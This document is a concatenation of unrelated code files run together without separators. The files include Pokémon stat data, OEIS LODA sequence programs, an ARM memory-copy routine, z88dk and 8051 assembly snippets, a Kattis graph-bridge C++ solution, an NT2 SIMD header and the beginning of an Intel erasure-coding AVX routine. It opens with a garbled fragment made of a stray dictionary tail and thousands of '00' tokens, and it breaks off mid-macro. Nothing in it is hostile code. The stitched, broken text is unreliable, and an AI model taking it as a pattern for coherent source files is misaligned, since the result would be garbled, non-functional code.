'addresses_A_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
db 0 ; species ID placeholder db 105, 130, 120, 40, 45, 45 ; hp atk def spd sat sdf db GROUND, ROCK ; type db 60 ; catch rate db 204 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/rhydon/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_SLOW ; growth rate dn EGG_MONSTER, EGG_GROUND ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROLLOUT, ROAR, TOXIC, ZAP_CANNON, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, ENDURE, FRUSTRATION, IRON_TAIL, THUNDER, EARTHQUAKE, RETURN, DIG, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SANDSTORM, FIRE_BLAST, THUNDERPUNCH, REST, ATTRACT, FIRE_PUNCH, FURY_CUTTER, UPROOT, WATER_SPORT, STRONG_ARM, FLAMETHROWER, THUNDERBOLT, ICE_BEAM ; end
; A102620: Number of legal Go positions on a 1 X n board (for which 3^n is a trivial upper bound). ; 1,5,15,41,113,313,867,2401,6649,18413,50991,141209,391049,1082929,2998947,8304961,22998865,63690581,176377839,488441801,1352638145,3745850473,10373355075,28726852897,79553054089,220305664445,610090792143,1689519766073,4678774170521,12956893537633,35881426208451,99366159258241,275173945103905,762037102261925,2110303520940111 mov $1,1 mov $2,$0 mov $0,0 mov $3,2 lpb $2 add $1,$0 add $0,$3 add $3,$1 add $1,$0 sub $2,1 mov $4,$0 lpe add $4,2 add $1,$4 sub $1,2 mov $0,$1
;******************************************************************************************************** ; uC/LIB ; Custom Library Modules ; ; Copyright 2004-2020 Silicon Laboratories Inc. www.silabs.com ; ; SPDX-License-Identifier: APACHE-2.0 ; ; This software is subject to an open source license and is distributed by ; Silicon Laboratories Inc. pursuant to the terms of the Apache License, ; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0. ; ;******************************************************************************************************** ;******************************************************************************************************** ; ; STANDARD MEMORY OPERATIONS ; ; ARM ; IAR Compiler ; ; Filename : lib_mem_a.asm ; Version : V1.39.00 ;******************************************************************************************************** ; Note(s) : (1) NO compiler-supplied standard library functions are used in library or product software. ; ; (a) ALL standard library functions are implemented in the custom library modules : ; ; (1) \<Custom Library Directory>\lib*.* ; ; (2) \<Custom Library Directory>\Ports\<cpu>\<compiler>\lib*_a.* ; ; where ; <Custom Library Directory> directory path for custom library software ; <cpu> directory name for specific processor (CPU) ; <compiler> directory name for specific compiler ; ; (b) Product-specific library functions are implemented in individual products. ; ; (2) Assumes ARM CPU mode configured for Little Endian. ;******************************************************************************************************** ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** PUBLIC Mem_Copy ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** RSEG CODE:CODE:NOROOT(2) CODE32 ;******************************************************************************************************** ; Mem_Copy() ; ; Description : Copy data octets from one buffer to another buffer. ; ; Argument(s) : pdest Pointer to destination memory buffer. ; ; psrc Pointer to source memory buffer. ; ; size Number of data buffer octets to copy. ; ; Return(s) : none. ; ; Caller(s) : Application. ; ; Note(s) : (1) Null copies allowed (i.e. 0-octet size). ; ; (2) Memory buffers NOT checked for overlapping. ; ; (3) Modulo arithmetic is used to determine whether a memory buffer starts on a 'CPU_ALIGN' ; address boundary. ;******************************************************************************************************** ; void Mem_Copy (void *pdest, ; ==> R0 ; void *psrc, ; ==> R1 ; CPU_SIZE_T size) ; ==> R2 Mem_Copy: CMP R0, #0 BNE Mem_Copy_1 BX LR ; return if pdest == NULL Mem_Copy_1: CMP R1, #0 BNE Mem_Copy_2 BX LR ; return if psrc == NULL Mem_Copy_2: CMP R2, #0 BNE Mem_Copy_3 BX LR ; return if size == 0 Mem_Copy_3: STMFD SP!, {R3-R12} ; save registers on stack Chk_Align_32: ; check if both dest & src 32-bit aligned AND R3, R0, #0x03 AND R4, R1, #0x03 CMP R3, R4 BNE Chk_Align_16 ; not 32-bit aligned, check for 16-bit alignment RSB R3, R3, #0x04 ; compute 1-2-3 pre-copy bytes (to align to the next 32-bit boundary) AND R3, R3, #0x03 Pre_Copy_1: CMP R3, #1 ; copy 1-2-3 bytes (to align to the next 32-bit boundary) BCC Copy_32_1 ; start real 32-bit copy CMP R2, #1 ; check if any more data to copy BCC Mem_Copy_END ; no more data to copy LDRB R4, [R1], #1 STRB R4, [R0], #1 SUB R3, R3, #1 SUB R2, R2, #1 B Pre_Copy_1 Chk_Align_16: ; check if both dest & src 16-bit aligned AND R3, R0, #0x01 AND R4, R1, #0x01 CMP R3, R4 BNE Copy_08_1 ; not 16-bit aligned, start 8-bit copy Pre_Copy_2: CMP R3, #1 ; copy 1 byte (to align to the next 16-bit boundary) BCC Copy_16_1 ; start real 16-bit copy LDRB R4, [R1], #1 STRB R4, [R0], #1 SUB R3, R3, #1 SUB R2, R2, #1 B Pre_Copy_2 Copy_32_1: CMP R2, #(04*10*09) ; Copy 9 chunks of 10 32-bit words (360 octets per loop) BCC Copy_32_2 LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} SUB R2, R2, #(04*10*09) B Copy_32_1 Copy_32_2: CMP R2, #(04*10*01) ; Copy chunks of 10 32-bit words (40 octets per loop) BCC Copy_32_3 LDMIA R1!, {R3-R12} STMIA R0!, {R3-R12} SUB R2, R2, #(04*10*01) B Copy_32_2 Copy_32_3: CMP R2, #(04*01*01) ; Copy remaining 32-bit words BCC Copy_16_1 LDR R3, [R1], #4 STR R3, [R0], #4 SUB R2, R2, #(04*01*01) B Copy_32_3 Copy_16_1: CMP R2, #(02*01*16) ; Copy chunks of 16 16-bit words (32 bytes per loop) BCC Copy_16_2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 LDRH R3, [R1], #2 STRH R3, [R0], #2 SUB R2, R2, #(02*01*16) B Copy_16_1 Copy_16_2: CMP R2, #(02*01*01) ; Copy remaining 16-bit words BCC Copy_08_1 LDRH R3, [R1], #2 STRH R3, [R0], #2 SUB R2, R2, #(02*01*01) B Copy_16_2 Copy_08_1: CMP R2, #(01*01*16) ; Copy chunks of 16 8-bit words (16 bytes per loop) BCC Copy_08_2 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 LDRB R3, [R1], #1 STRB R3, [R0], #1 SUB R2, R2, #(01*01*16) B Copy_08_1 Copy_08_2: CMP R2, #(01*01*01) ; Copy remaining 8-bit words BCC Mem_Copy_END LDRB R3, [R1], #1 STRB R3, [R0], #1 SUB R2, R2, #(01*01*01) B Copy_08_2 Mem_Copy_END: LDMFD SP!, {R3-R12} ; restore registers from stack BX LR ; return END
; ; ANSI Video handling for the Epson PX4 ; By Stefano Bodrato - Nov 2014 ; ; Clean a text line ; ; in: A = text row number ; ; ; $Id: f_ansi_dline.asm,v 1.2 2016/06/12 16:06:43 dom Exp $ ; SECTION code_clib PUBLIC ansi_del_line EXTERN base_graphics .ansi_del_line ld de,32*8 ld b,a ld hl,$e000 and a jr z,zline .lloop add hl,de djnz lloop .zline ld d,h ld e,l inc de ld (hl),0 ld bc,32*8 ldir ret
/* Kattis - Cave Explorer The question involves counting the number of nodes that are connected to node 0 without passing through a bridge. So the first step is finding out the bridges using the classic modified DFS. Afterwards, we should DFS from 0, however we avoid edges that are bridges. However, a problem i encountered is to get a graph without the bridges. One approach would be to put the bridges into a set in O(B log B) and then create another adjacency list in O(V log B + E log B). Another approach would to just be to DFS and loop through the entire bridge list at each node in O(VB+ EB). While it might seem that this will take too long since the max number of bridges is for a tree O(V-1) = O(V) --> the algorithm takes O(V^2 + EV), in reality, if this was the case, the algoritm would quickly terminate since it would not propagage past node 0. So in reality, it takes less time than O(V^2 + EV)... As the second approach is easier to implement, we try it and get AC. Time: O(B* answer) Mem: O(V + E) */ #pragma GCC optimize("Ofast") #pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,avx2,fma") #pragma GCC optimize("unroll-loops") #include <bits/stdc++.h> using namespace std; #define fast_cin() ios_base::sync_with_stdio(false); cin.tie(NULL); cout.tie(NULL); typedef vector<int> vi; int t, n, e, u, v, dfs_num_counter, dfs_root, root_children; vector<int> adjlist[10000 + 9], articulation_points, dfs_parent, dfs_num, dfs_low; vector<pair<int, int>> bridges; void articulation_point_and_bridge(int u) { dfs_num[u] = dfs_num_counter++; dfs_low[u] = dfs_num[u]; for (auto v: adjlist[u]) { if (dfs_num[v] == -1) { // tree edge dfs_parent[v] = u; if (u == dfs_root) { root_children++; } articulation_point_and_bridge(v); if (dfs_low[v] >= dfs_num[u]) { articulation_points.emplace_back(u); } if (dfs_low[v] > dfs_num[u]) { //cout << "bridge: " << u << " - " << v << endl; bridges.emplace_back(u, v); //adjlist[u][i] = -1; } dfs_low[u] = min(dfs_low[u], dfs_low[v]); } else if (v != dfs_parent[u]) { // back edge dfs_low[u] = min(dfs_low[u], dfs_num[v]); } } } int cc_0_size = 0; vector<bool> visited; void dfs(int u){ visited[u] = true; //cout << u << endl; cc_0_size++; for (auto v: adjlist[u]){ // if (v == -1)continue; if (visited[v] == 1)continue; bool bridge = false; for (auto p: bridges){ if (p.first == u && p.second == v){ bridge = true; break; } else if (p.first == v && p.second == u){ bridge = true; break; } } if (bridge)continue; dfs(v); } } int main() { fast_cin(); cin >> n >> e; // reset variables for (int i = 0; i < n; i++) adjlist[i].clear(); dfs_parent.assign(n, -1); dfs_num.assign(n, -1); dfs_low.assign(n, 0); articulation_points.clear(); bridges.clear(); visited.assign(n, 0); for (int i = 0; i < e; i++) { cin >> u >> v; adjlist[u].emplace_back(v); adjlist[v].emplace_back(u); } dfs_root = 0; root_children = 0; articulation_point_and_bridge(0); dfs(0); cout << cc_0_size << endl; return 0; }
; A263794: Number of (n+1) X (3+1) 0..1 arrays with each row and column divisible by 3, read as a binary number with top and left being the most significant bits, and rows and columns lexicographically nonincreasing. ; 3,3,7,7,14,14,25,25,41,41,63,63,92,92,129,129,175,175,231,231,298,298,377,377,469,469,575,575,696,696,833,833,987,987,1159,1159,1350,1350,1561,1561,1793,1793,2047,2047,2324,2324,2625,2625,2951,2951,3303,3303 mov $1,$0 div $1,2 mov $2,$1 add $1,3 bin $1,3 add $1,$2 mul $1,3900 sub $1,11700 div $1,3900 add $1,5
;PUC-ECEC-CMP1057-ARQ1- ;12/02/19 ;Wellington Junio De Melo Fernandes ; ;Programa nada.asm segment .text ;Diretiva para segmentação de codigo global main ;Informação para o Linker main: ;Ponto de entrada saida: mov eax,1 ;Serviço de saida(EXIT) int 80h ;Chama o Kernel (pode ser em binario=128 ou 10000000b ou 0x80
////////////////////////////////////////////////////////////////////////////// /// Copyright 2003 and onward LASMEA UMR 6602 CNRS/U.B.P Clermont-Ferrand /// Copyright 2009 and onward LRI UMR 8623 CNRS/Univ Paris Sud XI /// /// Distributed under the Boost Software License, Version 1.0 /// See accompanying file LICENSE.txt or copy at /// http://www.boost.org/LICENSE_1_0.txt ////////////////////////////////////////////////////////////////////////////// #ifndef NT2_TOOLBOX_SWAR_FUNCTION_SIMD_SSE_SSSE3_LOOKUP_HPP_INCLUDED #define NT2_TOOLBOX_SWAR_FUNCTION_SIMD_SSE_SSSE3_LOOKUP_HPP_INCLUDED #include <nt2/sdk/meta/size.hpp> #include <nt2/sdk/meta/strip.hpp> #include <nt2/include/functions/shli.hpp> ///////////////////////////////////////////////////////////////////////////// // Implementation when type A0 is type8_ ///////////////////////////////////////////////////////////////////////////// NT2_REGISTER_DISPATCH(tag::lookup_, tag::cpu_, (A0)(A1), ((simd_<type8_<A0>,tag::sse_>)) ((simd_<ints8_<A1>,tag::sse_>)) ); namespace nt2 { namespace ext { template<class Dummy> struct call<tag::lookup_(tag::simd_<tag::type8_, tag::sse_> , tag::simd_<tag::ints8_, tag::sse_> ), tag::cpu_, Dummy> : callable { template<class Sig> struct result; template<class This,class A0,class A1> struct result<This(A0,A1)> : meta::strip<A0>{};// NT2_FUNCTOR_CALL(2) { return simd::native_cast<A0>(_mm_shuffle_epi8(a0, a1)); } }; } } ///////////////////////////////////////////////////////////////////////////// // Implementation when type A0 is type32_ ///////////////////////////////////////////////////////////////////////////// NT2_REGISTER_DISPATCH(tag::lookup_, tag::cpu_, (A0)(A1), ((simd_<type32_<A0>,tag::sse_>)) ((simd_<ints32_<A1>,tag::sse_>)) ); namespace nt2 { namespace ext { template<class Dummy> struct call<tag::lookup_(tag::simd_<tag::type32_, tag::sse_> , tag::simd_<tag::ints32_, tag::sse_> ), tag::cpu_, Dummy> : callable { template<class Sig> struct result; template<class This,class A0,class A1> struct result<This(A0,A1)> : meta::strip<A0>{};// NT2_FUNCTOR_CALL(2) { typedef typename simd::native<int8_t, tag::sse_> type8; const type8 inc = {{0x302010003020100LL,0x302010003020100LL}}; const type8 dup = {{0x404040400000000LL,0xc0c0c0c08080808LL}}; type8 i1 = {_mm_shuffle_epi8(shli(a1, 2), dup)}; type8 r = {_mm_shuffle_epi8(simd::native_cast<type8>(a0), i1+inc )}; return simd::native_cast<A0>(r); } }; } } ///////////////////////////////////////////////////////////////////////////// // Implementation when type A0 is type64_ ///////////////////////////////////////////////////////////////////////////// NT2_REGISTER_DISPATCH(tag::lookup_, tag::cpu_, (A0)(A1), ((simd_<type64_<A0>,tag::sse_>)) ((simd_<ints64_<A1>,tag::sse_>)) ); namespace nt2 { namespace ext { template<class Dummy> struct call<tag::lookup_(tag::simd_<tag::type64_, tag::sse_> , tag::simd_<tag::ints64_, tag::sse_> ), tag::cpu_, Dummy> : callable { template<class Sig> struct result; template<class This,class A0,class A1> struct result<This(A0,A1)> : meta::strip<A0>{};// NT2_FUNCTOR_CALL(2) { typedef typename simd::native<int8_t, tag::sse_> type8; // const v128_int8_t inc(0, 1, 2, 3, 4, 5, 6, 7, 0, 1, 2, 3, 4, 5, 6, 7 ); // const v128_int8_t dup(0, 0, 0, 0, 0, 0, 0, 0, 8, 8, 8, 8, 8, 8, 8, 8 ); const type8 inc = {{506097522914230528ll,506097522914230528ll}}; const type8 dup = {{0ll,578721382704613384ll}}; const type8 i1 = {_mm_shuffle_epi8(shli(a1, 3), dup)}; const type8 r = {_mm_shuffle_epi8(simd::native_cast<type8>(a0), i1+inc)}; return simd::native_cast<A0>(r); } }; } } ///////////////////////////////////////////////////////////////////////////// // Implementation when type A0 is type16_ ///////////////////////////////////////////////////////////////////////////// NT2_REGISTER_DISPATCH(tag::lookup_, tag::cpu_, (A0)(A1), ((simd_<type16_<A0>,tag::sse_>)) ((simd_<ints16_<A1>,tag::sse_>)) ); namespace nt2 { namespace ext { template<class Dummy> struct call<tag::lookup_(tag::simd_<tag::type16_, tag::sse_> , tag::simd_<tag::ints16_, tag::sse_> ), tag::cpu_, Dummy> : callable { template<class Sig> struct result; template<class This,class A0,class A1> struct result<This(A0,A1)> : meta::strip<A0>{};// NT2_FUNCTOR_CALL(2) { typedef typename simd::native<int8_t, tag::sse_> type8; // const type8 inc(0,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1); // const type8 dup(0, 0, 2, 2, 4, 4, 6, 6, 8, 8, 10, 10, 12, 12, 14, 14); const type8 inc = {{72058693566333184ll,72058693566333184ll}}; const type8 dup = {{434038829347897344ll,1012760212052510728ll}}; const type8 i1 = {_mm_shuffle_epi8(shli(a1, 1), dup)}; const type8 r = {_mm_shuffle_epi8(simd::native_cast<type8>(a0), plus(i1, inc))};//add increment return simd::native_cast<A0>(r); } }; } } #endif // modified by jt the 05/01/2011
; A034301: a(n) = n-th quintic factorial number divided by 4. ; 1,9,126,2394,57456,1666224,56651616,2209413024,97214173056,4763494479744,257228701906176,15176493412464384,971295578397720576,67019394909442719744,4959435223298761261056,391795382640602139623424,32910812141810579728367616,2929062280621141595824717824,275331854378387310007523475456,27257853583460343690744824070144,2834816772679875743837461703294976,308995028222106456078283325659152384 mov $1,1 mov $2,4 lpb $0 sub $0,1 add $2,5 mul $1,$2 lpe mov $0,$1
MOV R1,#05 ;Move 1st data in R1 register MOV R0,#04 ;Move 2nd data in R0 register MOV dptr,#4150 ;Load address in data pointer MOV A,R1 ;Move content of R1 to A ANL A,R0 ;Perform AND R0 with accumulator MOVX @dptr,A ;Store the result INC dptr ;Increment dptr MOV A,R1 ;Move content of R1 to A ORL A,R0 ;Perform OR R0 with accumulator MOVX @dptr,A ;Store the result INC dptr ;Increment dptr MOV A,R1 ;Move content of R1 to A XRL A,R0 ;Perform XOR R0 with accumulator MOVX @dptr,A ;Store result in memory HERE:SJMP HERE ;Stop the program
; A291023: p-INVERT of (1,1,1,1,1,...), where p(S) = 1 - 3 S^2 + 2 S^3. ; Submitted by Jon Maiga ; 0,3,4,12,24,56,120,264,568,1224,2616,5576,11832,25032,52792,111048,233016,487880,1019448,2126280,4427320,9204168,19107384,39612872,82021944,169636296,350457400,723284424,1491308088,3072094664,6323146296,13004206536,26724240952,54880137672,112623586872,230973796808,473400839736,969708171720,1985229327928,4062084624840,8307421187640,16981346251208,34695700254264,70857416012232,144646863031864,295157788078536,602043700186680,1227543648432584,2501999792983608,5097824578204104,10383299140881976 mov $1,1 mov $4,1 lpb $0 sub $0,1 mov $3,$2 mul $2,2 add $2,1 add $3,$4 mov $4,$1 add $1,$3 mul $4,2 add $4,5 lpe mov $0,$4 div $0,2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2015 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; gf_3vect_dot_prod_avx(len, vec, *g_tbls, **buffs, **dests); ;;; %include "reg_sizes.asm" %ifidn __OUTPUT_FORMAT__, elf64 %define arg0 rdi %define arg1 rsi %define arg2 rdx %define arg3 rcx %define arg4 r8 %define arg5 r9 %define tmp r11 %define tmp2 r10 %define tmp3 r13 ; must be saved and restored %define tmp4 r12 ; must be saved and restored %define return rax %macro SLDR 2 %endmacro %define SSTR SLDR %define PS 8 %define LOG_PS 3 %define func(x) x: endbranch %macro FUNC_SAVE 0 push r12 push r13 %endmacro %macro FUNC_RESTORE 0 pop r13 pop r12 %endmacro %endif %ifidn __OUTPUT_FORMAT__, win64 %define arg0 rcx %define arg1 rdx %define arg2 r8 %define arg3 r9 %define arg4 r12 ; must be saved, loaded and restored %define arg5 r15 ; must be saved and restored %define tmp r11 %define tmp2 r10 %define tmp3 r13 ; must be saved and restored %define tmp4 r14 ; must be saved and restored %define return rax %macro SLDR 2 %endmacro %define SSTR SLDR %define PS 8 %define LOG_PS 3 %define stack_size 6*16 + 5*8 ; must be an odd multiple of 8 %define arg(x) [rsp + stack_size + PS + PS*x] %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size vmovdqa [rsp + 0*16], xmm6 vmovdqa [rsp + 1*16], xmm7 vmovdqa [rsp + 2*16], xmm8 vmovdqa [rsp + 3*16], xmm9 vmovdqa [rsp + 4*16], xmm10 vmovdqa [rsp + 5*16], xmm11 save_reg r12, 6*16 + 0*8 save_reg r13, 6*16 + 1*8 save_reg r14, 6*16 + 2*8 save_reg r15, 6*16 + 3*8 end_prolog mov arg4, arg(4) %endmacro %macro FUNC_RESTORE 0 vmovdqa xmm6, [rsp + 0*16] vmovdqa xmm7, [rsp + 1*16] vmovdqa xmm8, [rsp + 2*16] vmovdqa xmm9, [rsp + 3*16] vmovdqa xmm10, [rsp + 4*16] vmovdqa xmm11, [rsp + 5*16] mov r12, [rsp + 6*16 + 0*8] mov r13, [rsp + 6*16 + 1*8] mov r14, [rsp + 6*16 + 2*8] mov r15, [rsp + 6*16 + 3*8] add rsp, stack_size %endmacro %endif %ifidn __OUTPUT_FORMAT__, elf32 ;;;================== High Address; ;;; arg4 ;;; arg3 ;;; arg2 ;;; arg1 ;;; arg0 ;;; return ;;;<================= esp of caller ;;; ebp ;;;<================= ebp = esp ;;; var0 ;;; var1 ;;; esi ;;; edi ;;; ebx ;;;<================= esp of callee ;;; ;;;================== Low Address; %define PS 4 %define LOG_PS 2 %define func(x) x: endbranch %define arg(x) [ebp + PS*2 + PS*x] %define var(x) [ebp - PS - PS*x] %define trans ecx %define trans2 esi %define arg0 trans ;trans and trans2 are for the variables in stack %define arg0_m arg(0) %define arg1 ebx %define arg2 arg2_m %define arg2_m arg(2) %define arg3 trans %define arg3_m arg(3) %define arg4 trans %define arg4_m arg(4) %define arg5 trans2 %define tmp edx %define tmp2 edi %define tmp3 trans2 %define tmp3_m var(0) %define tmp4 trans2 %define tmp4_m var(1) %define return eax %macro SLDR 2 ;; stack load/restore mov %1, %2 %endmacro %define SSTR SLDR %macro FUNC_SAVE 0 push ebp mov ebp, esp sub esp, PS*2 ;2 local variables push esi push edi push ebx mov arg1, arg(1) %endmacro %macro FUNC_RESTORE 0 pop ebx pop edi pop esi add esp, PS*2 ;2 local variables pop ebp %endmacro %endif ; output formats %define len arg0 %define vec arg1 %define mul_array arg2 %define src arg3 %define dest1 arg4 %define ptr arg5 %define vec_i tmp2 %define dest2 tmp3 %define dest3 tmp4 %define pos return %ifidn PS,4 ;32-bit code %define len_m arg0_m %define src_m arg3_m %define dest1_m arg4_m %define dest2_m tmp3_m %define dest3_m tmp4_m %endif %ifndef EC_ALIGNED_ADDR ;;; Use Un-aligned load/store %define XLDR vmovdqu %define XSTR vmovdqu %else ;;; Use Non-temporal load/stor %ifdef NO_NT_LDST %define XLDR vmovdqa %define XSTR vmovdqa %else %define XLDR vmovntdqa %define XSTR vmovntdq %endif %endif %ifidn PS,8 ; 64-bit code default rel [bits 64] %endif section .text %ifidn PS,8 ;64-bit code %define xmask0f xmm11 %define xgft1_lo xmm10 %define xgft1_hi xmm9 %define xgft2_lo xmm8 %define xgft2_hi xmm7 %define xgft3_lo xmm6 %define xgft3_hi xmm5 %define x0 xmm0 %define xtmpa xmm1 %define xp1 xmm2 %define xp2 xmm3 %define xp3 xmm4 %else %define xmask0f xmm7 %define xgft1_lo xmm6 %define xgft1_hi xmm5 %define xgft2_lo xgft1_lo %define xgft2_hi 